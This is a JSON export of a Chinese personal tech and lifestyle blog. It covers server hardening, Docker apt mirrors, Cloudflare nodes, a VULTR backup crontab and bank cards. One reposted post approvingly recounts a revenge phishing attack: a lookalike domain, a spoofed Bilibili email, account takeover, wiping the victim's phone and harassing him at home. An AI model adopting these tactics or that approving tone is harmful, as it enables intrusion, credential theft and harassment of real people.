在本地管理博客,倒是省去了维护这一麻烦事,而且文章也能方便地同步到云盘,不用再为数据丢失担惊受怕。因为脱离了服务器,所以不用担心哪天被别人DDoS攻击了(垃圾运维狂喜)。这让创作者能从冗余的维护工作中抽出身来,而专注于创作本身。不过Hexo之类的静态博客虽然维护方便,但还是有一些痛点。例如不能随时随地发布文章,除非你时刻把自己的电脑背在身上;依赖Node.js环境,所以用手机更新博客就不要想了;还有难以对访客进行限制与统计等……总体上看,主要是发布文章的便捷性稍有欠缺,但对比起维护一个服务器,那还是轻松得多。 迁移基本上可以说是无痛,因为用插件把文章导出成md格式,改改头部的一些信息就能用了。唯一不优雅的地方在于文章里的图片,因为不是所有的图片都上了图床,而删机时又忘了把原先的图片导出来,所以部分文章的图就丢失了,只好砍掉。兜兜转转折腾了两天,总算是完成了这一工作。至于之前的评论,想了想也没几条,干脆也一并扔掉了。 不过原先的主题没有找到Hexo版本的,所以就换了现在的Sakura主题,在此感谢白猫大大还有honjun对主题的移植。换了主题的同时,还删掉了以前的一些黑历史 (因为有的文章现在看来真的太中二了),算是丢弃包袱,重新出发吧! 那暂时就这样吧,快到春节了,希望大家在新的一年能常常上来玩ya!在这里我提前祝福一句: 米娜桑,牛年快乐( •̀ ω •́ )y","categories":[{"name":"生活","slug":"生活","permalink":"https://blog.mashiro.nl/categories/生活/"}],"tags":[{"name":"个人博客","slug":"个人博客","permalink":"https://blog.mashiro.nl/tags/个人博客/"},{"name":"Hexo","slug":"Hexo","permalink":"https://blog.mashiro.nl/tags/Hexo/"}],"keywords":[{"name":"生活","slug":"生活","permalink":"https://blog.mashiro.nl/categories/生活/"}]},{"title":"「转载」一次成功的反击(报复)","slug":"生活/「转载」一次成功的反击(报复)","date":"2020-08-21T14:05:00.000Z","updated":"2021-01-27T15:33:44.666Z","comments":true,"path":"2020/08/21/生活/「转载」一次成功的反击(报复)/","link":"","permalink":"https://blog.mashiro.nl/2020/08/21/生活/「转载」一次成功的反击(报复)/","excerpt":"","text":"原文地址 https://blog.shelike.me/index.php/2018/06/14/一次成功的反击得到原作者的同意转载,版权解释归原作者所有 今天日常网上冲浪,结果看到了这么一篇很有意思的文章,所以决定转载过来让大家也开心一下 ~注意:制作钓鱼网站可能已触犯法律。 毕竟网安学得好,牢饭吃得早(大雾 当时我心急买服务器,就被骗了70块。70块,自认倒霉么?作为一个网络安全专家(自封的),我100%是要怼回去的。 我首先百度搜他QQ小号,搜到他在多个论坛发布过诈骗信息,去到论坛里面看,发布这个信息的也是小号。后来我发现他支付宝名称是一个昵称,我就百度这个昵称,发现他是一个哔哩哔哩up主。通过查看他的个人信息找到了他的大号QQ。 我等了两周还不退款,实在是不能忍了。我作为一个网络安全专家,100%要怼回去的。我打算通过钓鱼的方式获取他的哔哩哔哩密码。为此我专门买了个跟哔哩哔哩非常接近的.com域名,我通过伪造哔哩哔哩服务邮件,完美通过QQ邮箱防火墙,以官方的身份发送邮件给他,诱导他在假的哔哩哔哩官网输入了密码。 伪造的邮件:(“你”字改一下就非常完美了) 电脑端查看也是一样的效果: 发件人是官方,这里伪造得很成功。对于网址嘛,- 和 . 可能也少人会注意吧。 点击地址,出现伪造的网址: 手机端: 电脑端:(因为修改登录框的onclick事件会导致全局的css失效,我一时找不到方法,就干脆换个手机的二维码吧) 然后呢,他一登陆,密码到手。 我就登陆了他的哔哩哔哩 哈哈哈哈,1.5万粉丝(图片的1.2万粉丝是我删剩下的,账号封禁也是我干的),他发的都是什么视频呢?都是什么steam免费领取之类的,还“不看就错过十个亿”。删粉删的很爽,发动态骂他也骂的很爽。我发了“此up主是个骗子”动态后,有些人也道出自己的受骗经历。 十分钟后被骗子发现,他改密码,我早已在他的账号绑定了我的小号QQ,用它再次登录骗子的哔哩哔哩。只见骗子发了一条动态,“账号被黑,问题不大”。我就发了一条“问题大得很,你个傻逼”。后来他多次改密码,每次都被我用绑定的QQ登录。骂的真爽。(图中说140块是夸大的) 通过相同的密码,登陆了他QQ互联,(为防止出现异地登录提示,我专门买了台广州的服务器作代理),通过快捷登录,我登陆了:网易邮箱、百度贴吧、百度网盘、网易云音乐、京东、斗鱼、抖音、小米账号等等。 我抹掉了他的小米6 登录他的网盘,卧槽,全是这种东西,好有品位呀,全是幼女!还是一个高中生啊,这我就不删了,祝你身体越来越好! 登录了他的京东,给他买了一百个充气娃娃,祝你性福! 知道了他的地址,顺便去货到付款的网站给他买点成人用品 喂大兄弟,你买的充气娃娃已经送到楼下了!快下楼拿吧! 登陆他的网易云,把他的歌全部删掉,留下一首恐怖音乐 把他哔哩哔哩改成领导人头像,封号90天 删掉他几千粉丝 再去他骗我的那个论坛发帖 我还算手下留情了,至少他的同学对此一无所知。我没用他的空间发说说,或者给他的好友每个人发一封邮件。QQ飞车和绝地求生我也没删他的装备。算是给骗子留了一条后路。 我只想说一句话:在你决定骗我钱之前,你也不好好想想,你惹的是什么人! 因为不知道他的京东付款密码,所以呢,只能下单而已啦 ~","categories":[{"name":"生活","slug":"生活","permalink":"https://blog.mashiro.nl/categories/生活/"}],"tags":[{"name":"网络安全","slug":"网络安全","permalink":"https://blog.mashiro.nl/tags/网络安全/"}],"keywords":[{"name":"生活","slug":"生活","permalink":"https://blog.mashiro.nl/categories/生活/"}]},{"title":"服务器基础安全配置","slug":"技术/服务器基础安全配置","date":"2020-08-19T13:37:00.000Z","updated":"2021-01-22T17:18:04.173Z","comments":true,"path":"2020/08/19/技术/服务器基础安全配置/","link":"","permalink":"https://blog.mashiro.nl/2020/08/19/技术/服务器基础安全配置/","excerpt":"","text":"一开始玩VPS的时候其实只是为了能做个正向代理,所以搭好环境后就去上网冲浪了,对安全的问题一直没有过多的关注。但是最近上服务器检查情况时,看到了一些奇怪的提示,才让我开始真正的重视起来。 Last failed login: Wed Aug 19 19:34:58 CST 2020 from 120.53.243.163 on ssh:notty There were 63 failed login attempts since the last successful login. 系统的提示其实已经很直白了,有个IP一直在尝试用ssh登录我的服务器。一开始还以为我只是个例,结果搜了下发现很多人的服务器都遇到过这种情况。这其实是攻击者去批量扫描,扫到开放的端口就开始跑字典进行暴力破解的后果。要是你正好不是用密钥去登录,而且设置的是弱口令的话,那么恭喜你,你的服务器大概率会被攻破变成肉鸡。 那何为肉鸡呢?简单来说就是可以被别人远程控制的计算机。别人不仅可以收集你机器上的信息,还可以在你机器上跑挖矿脚本,甚至在你不知情的情况下对其他的机器进行DDOS攻击等等……这危害可是相当巨大的,所以我们要采取一些适当的防范措施。 外部防火墙拦截这应该是最简单实用的方法了,不需要敲命令去设计firewall规则,直接在主机商的控制台就能完成操作。大部分的主机商默认会为服务器配置外部防火墙(有的商家也叫安全组策略,两者是一样的东西),添加规则完全在图形化界面上,这里不展开叙述 自带防火墙配置规则有的主机商可能没有配备外部防火墙,这时我们就需要配置机器本身的防火墙用作防御。以CentOS 8为例,先确认防火墙状态 systemctl status firewalld,如果没开启,可以先用 systemctl start firewalld 命令开启。想要限制IP访问某个端口,可以用 firewall-cmd --permanent --zone=public --add-rich-rule='rule family=ipv4 source address=8.8.8.8 service name=ssh reject' 其中address换成你要ban的IP,service name=ssh 可以换成 port protocol=tcp port=22 这种形式,如果是设置只接受某个IP的访问,则把最后的reject换成accept即可。 修改默认的SSH端口因为22号端口是被扫描的重灾区,所以我们索性换个端口进行ssh登录。修改 /etc/ssh/sshd_config 这个文件,找到 #Port 22,去掉注释,改成高位端口(不过建议先保留22号端口,然后在下面另起一行写入你想要的端口号,测试过可以登录了,再删掉22号端口也不迟)。改完后wq保存,然后 systemctl restart sshd.service 重启ssh服务,再 systemctl status sshd.service 检查一下配置是否生效。别忘了在firewall开放一下对应的端口O ~ 禁用root登录无论是Windows还是Linux系统,为了安全,我们最好习惯去使用低权限账户。因为管理员账户的权限太大了,可以随意修改系统设置。举个不太准确的例子,假如你下载了一个带毒的软件,不巧的是,你正好是以管理员的身份运行它,那么这个病毒就被赋予了管理员的权限,就可以对你的系统大肆破坏了。更极端一点的情况,它甚至可以把你的杀毒软件给干掉。另外用管理员账户进行操作时,如果出现了误操作,那么带来的损失可能会相当巨大。除非你真的非常清楚你在干什么,否则不要轻易使用root账户。另外Linux提供了 su 和 sudo 命令,方便你在权限不足的情况下使用命令。 禁用root登录很简单,和上面修改ssh端口类似,在 /etc/ssh/sshd_config 这个文件,找到 PermitRootLogin yes 这一行,把yes改为no即可,然后重启一下ssh服务保存更改。另外可以把这个文件的写入权限拿掉,以保障安全。这时你再尝试用root账户登录,就算密码正确,也会被服务器拒绝连接。 启用sudo命令有时用普通用户进行操作时,可能会遇到权限不足的情况,这时再切换到root用户就显得比较麻烦。不过Linux提供了sudo这个方案,可以解决这个问题。先切回管理员身份 su -,然后修改 /etc/sudoers 这个文件,加入内容如下 root ALL=(ALL) ALL #这行是原本配置,下面两行为新加入 user ALL=(ALL) ALL %usergroup ALL=(ALL) ALL # 其中user为你想使用sudo的用户名,usergroup则是用户组,即组内的用户皆可使用sudo,这个大家按需添加即可。 sudo默认获得权限时间为五分钟,即五分钟后再用就需要重新输入password了。不过你也可以修改时间,或者改成不输入密码使用,不过我认为这样的话安全性就大打折扣了。 总结这些配置主要能防范一些恶意爆破,但并非滴水不漏,因为天底下没有毫无破绽的系统。所以如果你的连接设备比较固定,我更推荐你使用密钥去连接。而且过度的防御,只会让你使用机器的时候更加地麻烦,毕竟安全和便利很难兼得嘛🙃喜欢折腾的朋友可以用Fail2ban配置更严密的规则,不过这里篇幅有限,改天再开一期单独讲吧!其实是想再水一期……总的来说,就是除了需要的端口,其他的尽量不要开放。对开放了的端口,最好防火墙配置一下规则,过滤掉一些恶意请求。暂时先想到这么多,后面再补充吧 ~","categories":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://blog.mashiro.nl/tags/Linux/"},{"name":"VULTR","slug":"VULTR","permalink":"https://blog.mashiro.nl/tags/VULTR/"},{"name":"SSH","slug":"SSH","permalink":"https://blog.mashiro.nl/tags/SSH/"}],"keywords":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}]},{"title":"Docker容器安装软件踩坑及换源","slug":"技术/Docker容器安装软件踩坑及换源","date":"2020-08-13T00:23:00.000Z","updated":"2021-01-22T17:19:58.865Z","comments":true,"path":"2020/08/13/技术/Docker容器安装软件踩坑及换源/","link":"","permalink":"https://blog.mashiro.nl/2020/08/13/技术/Docker容器安装软件踩坑及换源/","excerpt":"","text":"换源网上一搜多的是教程,但是这些教程都没讲清楚,一不小心可能就掉坑里。没错,说的就是你,CSDN垃圾回收站。 因为最近重装了一次电脑,而 Docker Desktop 默认装在C盘,所以重装时也一并清掉了,只能重新安装。另外看到Ubuntu挺多人用的,于是没继续用之前的CentOS镜像,打算换换口味。但是在安装软件时却遇到了一些问题,特此记录一下。真就把Docker当成Linux用呗 打开容器,本来打算修改一下文件,结果给我返回来一个 nano:command not found。嗯?What the fu**Docker你的官方镜像也太精简了吧!真就一个白板系统。没办法,只能自己装个vim。 遇到的问题坑1 E: Unable to locate package vim这个简单,apt-get update 同步一下 /etc/apt/sources.list 和 /etc/apt/sources.list.d 中列出的源的索引即可。正常情况下应该就可以安装软件了,除了速度有亿点点慢。默认用官方的源,能快就见鬼了不过因为我开了全局代理,所以速度还可以,直到又出来一个奇奇怪怪的错误…… 坑2 Failed to fetch Connection failed [IP: 91.189.88.149 80]一开始还以为是梯子掉线了,结果不然。Ping了一下那个IP也可以Ping通,不应该啊!于是直接用浏览器打开官方的仓库,找到没下载成功的组件,发现也可以正常下载,真的是莫名奇妙。不过没下载成功的组件不多,所以后面我直接手动下载下来,拷进容器里重新安装。但是为了避免以后再有这样的麻烦,所以决定对apt进行换源。 更改国内镜像源国内有很多这样的镜像站,像阿里镜像,网易镜像,还有清华镜像等等,选一个访问速度快的即可。看了一下网上的换源教程,都是直接扔给你一段配置文件,也不说清楚注意的事项,极其不负责任。要是直接用了他们的配置,可能没加上速,反而还有一堆的报错。 1.准备工作首先要明确你当前Linux的版本等信息,以及确保自己的Codename在镜像站上面找得到。像我的就是 Ubuntu,Codename=focal。( Codename可以用 lsb_release -a 查看,但Docker的白板镜像是没有 lsb_release 的,所以换成 cat /etc/os-release )以阿里的镜像站为例,到 http://mirrors.aliyun.com/ubuntu/dists/ 上面看一下有没有自己的Codename,没有就换其他镜像站看看。接着才是修改 sources.list 文件。 2.修改文件修改前建议先备份一下:cp /etc/apt/sources.list /etc/apt/sources.list.bak然后再进入 /etc/apt 目录,打开 sources.list 文件,改成如下的形式: deb http://mirrors.aliyun.com/ubuntu/ $Codename main multiverse restricted universe deb http://mirrors.aliyun.com/ubuntu/ $Codename-backports main multiverse restricted universe deb http://mirrors.aliyun.com/ubuntu/ $Codename-proposed main multiverse restricted universe deb http://mirrors.aliyun.com/ubuntu/ $Codename-security main multiverse restricted universe deb http://mirrors.aliyun.com/ubuntu/ $Codename-updates main multiverse restricted universe deb-src http://mirrors.aliyun.com/ubuntu/ $Codename main multiverse restricted universe deb-src http://mirrors.aliyun.com/ubuntu/ $Codename-backports main multiverse restricted universe deb-src http://mirrors.aliyun.com/ubuntu/ $Codename-proposed main multiverse restricted universe deb-src http://mirrors.aliyun.com/ubuntu/ $Codename-security main multiverse restricted universe deb-src http://mirrors.aliyun.com/ubuntu/ $Codename-updates main multiverse restricted universe PS:$Codename改成你自己的Codename即可,另外如果不需要源码编译安装的,可以把deb-src开头的几行注释掉 3.更新apt最后再运行一次 apt-get update,没问题的话就算配置完成了。 一键脚本为了照顾懒人,我写了个bash脚本,大家也可以参考一下 #!/bin/bash cp /etc/apt/sources.list /etc/apt/sources.list.bak && \\ Codename=$((lsb_release -a)|awk '{print $2}'|tail -n 1) && \\ #没有lsb_release的话把这行改成Codename="XXX"这种形式 echo "\\ deb http://mirrors.aliyun.com/ubuntu/ $Codename main multiverse restricted universe deb http://mirrors.aliyun.com/ubuntu/ $Codename-backports main multiverse restricted universe deb http://mirrors.aliyun.com/ubuntu/ $Codename-proposed main multiverse restricted universe deb http://mirrors.aliyun.com/ubuntu/ $Codename-security main multiverse restricted universe deb http://mirrors.aliyun.com/ubuntu/ $Codename-updates main multiverse restricted universe deb-src http://mirrors.aliyun.com/ubuntu/ $Codename main multiverse restricted universe deb-src http://mirrors.aliyun.com/ubuntu/ $Codename-backports main multiverse restricted universe deb-src http://mirrors.aliyun.com/ubuntu/ $Codename-proposed main multiverse restricted universe deb-src http://mirrors.aliyun.com/ubuntu/ $Codename-security main multiverse restricted universe deb-src http://mirrors.aliyun.com/ubuntu/ $Codename-updates main multiverse restricted universe">sources.list && \\ sudo apt-get update","categories":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}],"tags":[{"name":"Docker","slug":"Docker","permalink":"https://blog.mashiro.nl/tags/Docker/"},{"name":"Linux","slug":"Linux","permalink":"https://blog.mashiro.nl/tags/Linux/"}],"keywords":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}]},{"title":"「玩卡系列」天依小柠檬联名借记IC卡","slug":"生活/「玩卡系列」天依小柠檬联名借记IC卡","date":"2020-06-22T11:26:00.000Z","updated":"2021-01-21T18:42:07.066Z","comments":true,"path":"2020/06/22/生活/「玩卡系列」天依小柠檬联名借记IC卡/","link":"","permalink":"https://blog.mashiro.nl/2020/06/22/生活/「玩卡系列」天依小柠檬联名借记IC卡/","excerpt":"","text":"卡是3月份就申请了,现在写出来是服务一下还没有申请的小伙伴。(才不是炒冷饭呢 ~)因为隔了挺长的一段时间,所以我所说的申请方法可能已经失效,需要小伙伴们自行寻找其他渠道 废话&测评自从申请了2233的花嫁联名卡后,感觉自己就像中毒了一样,老是想找一些卡面漂亮的卡片进行收藏。这不,最近网上冲浪又看到了一张卡,是上海禾念联名中国银行发行的天依小柠檬联名借记IC卡。老规矩,直接上图虽然自己不是天依粉,但但但这卡真的很好看啊!!!于是脑子一热又申请了一张卡🙈 不过这张卡等得就比较久,差不多过了两个星期银行那边才打电话提醒我到网点取卡。可能是网点没现货,要制卡中心把卡片做好再送去银行吧。虽然等得有点久,不过到手后,真的感觉一切都值了。个人认为做工比花嫁卡要精致,特别是表层的材质,居然带有那种透明的亚克力效果。图案则嵌在了透明表层与PVC卡基的中间,避免了因刮花而掉色。而且图案印刷质量不错,与宣传图相比,色差还在一个可以接受的范围内。相比之下,花嫁卡的表面涂层就显得不够诚意了。(特别容易刮花,且颜色太浅) 申请方法废话了这么多,下面就讲一下具体申请方法。 1.中国银行微银行公众号关注这个公众号,点击微服务,然后选择更多功能进入,再点击借记卡申请,里面就有这张卡片。 更新:这个方法刚刚试了下,发现入口关闭了,不过还是可以通过链接进入https://cloud.bankofchina.com/sh/html/h5/card/indexreal.html?index=1&apply=direct有受理时间限制,好像是 8:30 ~ 19:30 的样子 2.网点直接办理不保证每个网点都有这张卡,具体要咨询银行大堂经理。(其实我怀疑除了上海的网点,其他地方压根没有,要不然我那张卡也不会这么久才拿到……) 3.中国银行其他地方分行的公众号如果前面两个方法都失效了,可以用这个方法碰碰运气。如中国银行上海分行等,不过上海分行的申请入口也已经关闭。用这种方法应注意开户行在哪里,看看能不能选回你的居住地。因为如果你是异地开户,你办理某些业务将十分麻烦! 总结卡的质量相当不错了,如果你没有中国银行的借记卡,那么这张卡还是值得一办的。~~嗯?你说你对洛天依不感兴趣,那你看到这里干什么?( ̄_ ̄|||)总之一句话:要办就趁早,免得错过才后悔。","categories":[{"name":"生活","slug":"生活","permalink":"https://blog.mashiro.nl/categories/生活/"}],"tags":[{"name":"玩卡","slug":"玩卡","permalink":"https://blog.mashiro.nl/tags/玩卡/"},{"name":"储蓄卡","slug":"储蓄卡","permalink":"https://blog.mashiro.nl/tags/储蓄卡/"},{"name":"洛天依","slug":"洛天依","permalink":"https://blog.mashiro.nl/tags/洛天依/"}],"keywords":[{"name":"生活","slug":"生活","permalink":"https://blog.mashiro.nl/categories/生活/"}]},{"title":"创建一个属于自己的域名邮箱","slug":"生活/创建一个属于自己的域名邮箱","date":"2020-06-20T16:17:00.000Z","updated":"2021-01-21T18:42:10.806Z","comments":true,"path":"2020/06/21/生活/创建一个属于自己的域名邮箱/","link":"","permalink":"https://blog.mashiro.nl/2020/06/21/生活/创建一个属于自己的域名邮箱/","excerpt":"","text":"写在前面用这种邮箱有一个弊端,就是发出的邮件容易被判定为垃圾邮件(此处特别”表扬”QQ邮箱),所以发一些重要邮件时不建议使用这种邮箱,否则出现不良后果博主可负不起这个责任啊😰 看到别人网站的送信邮箱都是用域名作为邮箱后缀,害我也馋了,于是决定自己也申请一个。 选择域名邮箱注册商自己搭一个邮件服务器是不可能的了,费时费力还难管理,所以我们直接用第三方服务。(况且很多主机商是把相应端口给禁了,邮件可能根本发不出去)很多邮箱服务商是有提供免费域名邮箱这种产品的,前提是你得有一个自己的域名。(这不是废话吗……)没有域名的小伙伴可以参考如何制作个人博客的域名申请部分。 这里是以网易免费企业邮作为例子,大家可以灵活选择。(网易的邮箱什么都好,就是他自家的广告有点多,我上车后就有点后悔了。个人推荐大家在腾讯创建,因为毕竟是自家的产品,应该 不会那么容易进QQ邮箱的垃圾桶) 注册账号地址 http://ym.163.com/,直接点免费创建要填写一些基本信息,以及进行实名认证,完成后就可以准备下一步。 MX记录验证个人域名邮箱完成创建后,系统会发给你一条信息,提示你尽快添加一条类型为”MX“的解析记录。这里大家回到域名解析的地方,然后如图操作解析通常10分钟生效,但是网易那边却是很久才验证得到。可以先去打个盹,再回去邮箱的管理后台确认记录已添加。验证通过后就大功告成了,可以发邮件去装X啦! 客户端的配置服务器地址和端口号如下,密码就是你邮箱设置的密码(不需要授权密码!!!) POP3:pop.ym.163.com 默认端口为:110 (如勾选ssl安全链接,端口号为995) SMTP:smtp.ym.163.com 默认端口为:25 (如勾选ssl安全链接,端口号为994) IMAP:imap.ym.163.com 默认端口为:143 (如勾选ssl安全链接,端口号为993) 如果有疑问,可以参考官方帮助文档","categories":[{"name":"生活","slug":"生活","permalink":"https://blog.mashiro.nl/categories/生活/"}],"tags":[{"name":"邮箱","slug":"邮箱","permalink":"https://blog.mashiro.nl/tags/邮箱/"},{"name":"SMTP","slug":"SMTP","permalink":"https://blog.mashiro.nl/tags/SMTP/"}],"keywords":[{"name":"生活","slug":"生活","permalink":"https://blog.mashiro.nl/categories/生活/"}]},{"title":"「玩卡系列」快来领取你的2233花嫁卡","slug":"生活/「玩卡系列」快来领取你的2233花嫁卡","date":"2020-06-17T18:20:00.000Z","updated":"2021-01-21T18:42:05.264Z","comments":true,"path":"2020/06/18/生活/「玩卡系列」快来领取你的2233花嫁卡/","link":"","permalink":"https://blog.mashiro.nl/2020/06/18/生活/「玩卡系列」快来领取你的2233花嫁卡/","excerpt":"","text":"这张卡是在B站的广告看见的,害,实在是太好看了,没忍住就冲了一张 🙈而且不仅是因为好看,还有一个更为重要的原因促使我去办卡,那就是这张卡可以 白 嫖 B 站 大 会 员!!!(其实是想把2233抱回家) 活动详情活动截止至2020.06.30,不知道过后会不会继续,所以还是尽快申请吧!更多细则详见 哔哩哔哩花嫁联名借记卡新户礼 【活动时间】即日起至2020年6月30日【活动对象】活动期间首次办理招商银行花嫁借记卡的新客户,仅限线上申请办理(新客户定义:开户前180天内未持有任何招商银行一卡通、电子一卡通、一网通账户或存折的客户)【活动内容】活动期间线上申请并领取招商银行花嫁借记卡的新客户达标后可领取本活动礼品:6个月bilibili大会员。【刷卡达标】使用花嫁借记卡完成1笔交易满188元,交易包含投资理财、生活缴费、信用卡还款、扫码存取款及转账汇款等,或绑定微信支付宝完成一笔交易满188元。【权益领取】客户可以前往招商银行App领取活动新户礼品,领取路径:招商银行App-热门活动-联名卡专区-花嫁借记卡新户礼活动。 有一说一,这个活动是真的香,有大会员能看的番剧真的太多了!芜湖 ~ 注意事项 上述的活动是基于新户的条件下,不清楚什么是新户请认真看上面的【活动对象】 如果你已经持有了招商银行的一类储蓄卡,那么这张卡只能降为二类卡,两者的区别请自行百度 招商银行的二类账户是有账户管理费的,切记!!!当然也可以把你一类卡的卡面换成花嫁卡解决 申请方法在招商银行的APP或者公众号就可以申请,进入联名卡专区,找到花嫁卡,或者直接搜花嫁卡也可以。也欢迎用我的推荐链接,这样大家都有奖励 招商银行APP推荐链接168大礼包一份 办卡邀请链接 (链接要复制到微信打开)30元现金奖励 激活卡片储蓄卡不同于信用卡,是需要申请人亲自到网点领取并激活的。一般填写申请后两个星期内就会收到银行短信,提示你尽快到网点领卡。不过我那时是刚提交申请,银行就发短信叫我到网点领卡了(没想到这么快)。激活没啥好提的,记得带身份证就行! 补充虽然宣传图很诱人,但是到手后发现实体卡和图片还是有一定出入的,真就一切以实物为准呗 😂这张卡的涂层很一般,容易划花,而且颜色比宣传图淡了不少。不过毕竟没有工本费,也不好说什么,当作收藏还是可以的。","categories":[{"name":"生活","slug":"生活","permalink":"https://blog.mashiro.nl/categories/生活/"}],"tags":[{"name":"玩卡","slug":"玩卡","permalink":"https://blog.mashiro.nl/tags/玩卡/"},{"name":"储蓄卡","slug":"储蓄卡","permalink":"https://blog.mashiro.nl/tags/储蓄卡/"},{"name":"bilibili","slug":"bilibili","permalink":"https://blog.mashiro.nl/tags/bilibili/"}],"keywords":[{"name":"生活","slug":"生活","permalink":"https://blog.mashiro.nl/categories/生活/"}]},{"title":"自定义Cloudflare节点","slug":"技术/自定义Cloudflare节点","date":"2020-06-16T14:33:00.000Z","updated":"2021-01-22T06:23:09.001Z","comments":true,"path":"2020/06/16/技术/自定义Cloudflare节点/","link":"","permalink":"https://blog.mashiro.nl/2020/06/16/技术/自定义Cloudflare节点/","excerpt":"","text":"因为现在的博客是部署在VULTR的日本机房,走日本的ntt线路。平时裸连还好,但是一到晚高峰线路必炸。经常是打开网页一片白,什么都加载不出来,所以也是没办法,被迫用CDN来加速站点。 但是这里有个很坑的事情,要想接入国内的CDN,域名必须是备案的;域名要备案,又必须解析到国内的服务器……那要是把站点搬回国内,我还要CDN来干嘛呢?→_→ 辛辛苦苦把站点部署在国外主机,是不可能再用回国内的小水管啦!所以想出几个可行的方案 把静态资源部署在国内的服务器,接CDN加速一票否决,因为没钱再买服务器,而且这样也做不到全站CDN 把域名绑在国内的便宜主机上,CDN回源指向原站还是否决,原因同上 接入国外的CDN思来想去还是决定用这个方案,穷建站只能这样了(小声逼逼~) 这里我选择的是Cloudflare,国外知名CDN服务提供商,还有免费的套餐。但是免费版是不支持CNAME接入的,只能任由别人分配节点。海外加速通常没太大问题,不过用来给国内用户加速就很尴尬了。众所周知,Cloudflare对于国内就是云减速,因为它分配的节点对国内用户真的不太友好。鉴于这种情况,我们就需要指定节点来部署CDN加速。通过CNAME接入的方法有两种,一是升级企业版套餐,二是加入Cloudflare Partner。此处用的是第二种方法。 接入Cloudflare Partner选择一个靠谱的 Cloudflare Partner,加入后在别人的面板进行解析即可。(Partner很多,此处不列出)要是你不放心,可以自己去申请一个Partner资格,然后搭建面板,不过现在不好申请了。接入和解析的教程上网一搜就有,这里不再赘述,就讲几个重要的点 和在域名解析处填的记录一样,哪个域名要走CDN,就填哪个域名相应的记录。比如你在域名解析处有记录值为@,指向服务器IP的A记录,那么在面板就这样填写记录值:@类型:A回源地址:服务器IP或任意一个解析到服务器的域名添加完成后系统会给出相应的CNAME记录值,把这条CNAME记录在域名解析处加上即可 PS:要先停掉域名解析原来的A记录,再加上CNAME记录,因为两者会冲突。 详细教程 线路优化这是最为重要的一步,因为我们要指定CDN节点来加速国内访问速度,避免Cloudflare的自动分配。到域名解析处添加A记录解析,线路类型自行设置,记录值填你想要指定Cloudflare节点的IP。下面给出网上搜集的一些节点,如果你知道其他好用的节点也欢迎在评论区补充 移动香港节点就OK了,例如1.0.0.0-254,1.1.1.0-254或者172.64.32.* 联通试了很多节点,没有很满意的,都在160ms~190ms这个区间,目前用的是圣何塞104.16.160.* 电信也没有推荐的,和联通一样走圣何塞104.23.240.0-104.23.243.254 与百度云合作的节点162.159.211.4-103 103.21.244.0/22 162.159.208.4-162.159.208.103 103.22.200.0/22 103.31.4.0/22 162.159.209.4-162.159.209.103 104.16.0.0/12 108.162.192.0/18 162.159.210.4-162.159.210.103 131.0.72.0/22 141.101.64.0/18 162.159.211.4-162.159.211.103 162.158.0.0/15 172.64.0.0/13 173.245.48.0/20 188.114.96.0/20 190.93.240.0/20 197.234.240.0/22 198.41.128.0/17 141.101.115.1-254 可以在IPIP查看各地Ping值,还可以进行路由跟踪。 题外话其实我个人是不介意备案的,但是目前的备案制度实在令人窒息,它不仅把域名和人绑在一起,连带主机商也要一块掺和进来。一旦出事的话,政府不仅要找到网站的所有人,还要找到网站的接入商,方便第一时间把你网线给拔了。当然这不是说网站应该不被监管,但是绑定国内主机这一条规则真的太僵硬了,让想备案的人都望而却步。 最后引用阮一峰老师的一段话作结: 几十年以后,或者几个世纪以后,回顾这段历史的时候,大家会觉得网站备案、GFW、绿坝软件、诸如此类的事情,都是好事,因为它们让许多中国青年认清了这个社会的本质,不再对旧制度抱有幻想,开始期盼新制度的到来,从而大大加快了社会变革的速度。","categories":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}],"tags":[{"name":"VULTR","slug":"VULTR","permalink":"https://blog.mashiro.nl/tags/VULTR/"},{"name":"Cloudflare","slug":"Cloudflare","permalink":"https://blog.mashiro.nl/tags/Cloudflare/"},{"name":"CDN","slug":"CDN","permalink":"https://blog.mashiro.nl/tags/CDN/"}],"keywords":[{"name":"技术","slug":"技术","permalink":"https://blog.mashiro.nl/categories/技术/"}]},{"title":"利用VULTR的API定时备份服务器","slug":"技术/利用VULTR的API定时备份服务器","date":"2020-06-08T09:33:00.000Z","updated":"2021-01-22T17:20:59.371Z","comments":true,"path":"2020/06/08/技术/利用VULTR的API定时备份服务器/","link":"","permalink":"https://blog.mashiro.nl/2020/06/08/技术/利用VULTR的API定时备份服务器/","excerpt":"","text":"今天上VULTR账户检查服务器的一些情况时,无意间发现它是有提供API接口的。枉我用了它家快一年的服务器,居然现在才发现。。。快速浏览了一下,发现这个API还支持备份服务器,简直就是为我这种懒人量身定做的。废话不多说,我们直接开车。 开启API接口直达地址:https://my.vultr.com/settings/#settingsapi,点击 Enable API 来开启。开启后会生成一个密钥,并自动把你当前登录的IP地址,加进 Access Control 名单里。 把服务器IP加入名单很简单,直接填进 Access Control 名单里,子网掩码留默认的32,然后点击add按钮 十分不推荐 Allow All IPv4 或 IPv6,因为一旦你密钥泄露,可以说全世界都能登上你的账户,非常不安全。 获取服务器ID在VULTR的控制台点开你的服务器,网址里面”SUBID=”后面那串数字就是你的服务器id。 利用crontab设置定时任务进行下面的操作之前请确保你已经装有 crond 和 curl,没有请先安装。不会用 crontab 的小伙伴看这里,设置任务之前我们先看看官方文档给出的备份命令是什么。地址:https://www.vultr.com/api/#snapshot命令格式如下: curl -H 'API-Key: YOURKEY' https://api.vultr.com/v1/snapshot/create --data 'SUBID=YOURSUBID' 可以先运行一下看看能不能创建一个新的备份,成功的话会返回一个”200”的值。如果成功则用 crontab -e 创建一个新的定时任务,默认是使用vi编辑,想用其他编辑器请在shell命令行输入:select-editor 重新选择编辑器。 打开后按”i”进入编辑模式,这里我们定每月1号自动备份: 0 0 1 * * curl -H 'API-Key: YOURKEY' https://api.vultr.com/v1/snapshot/create --data 'SUBID=YOURSUBID' 编辑完成后按Esc,然后输“:wq”保存退出。运行 systemctl restart crond 重启一下crond服务,再 crontab -l 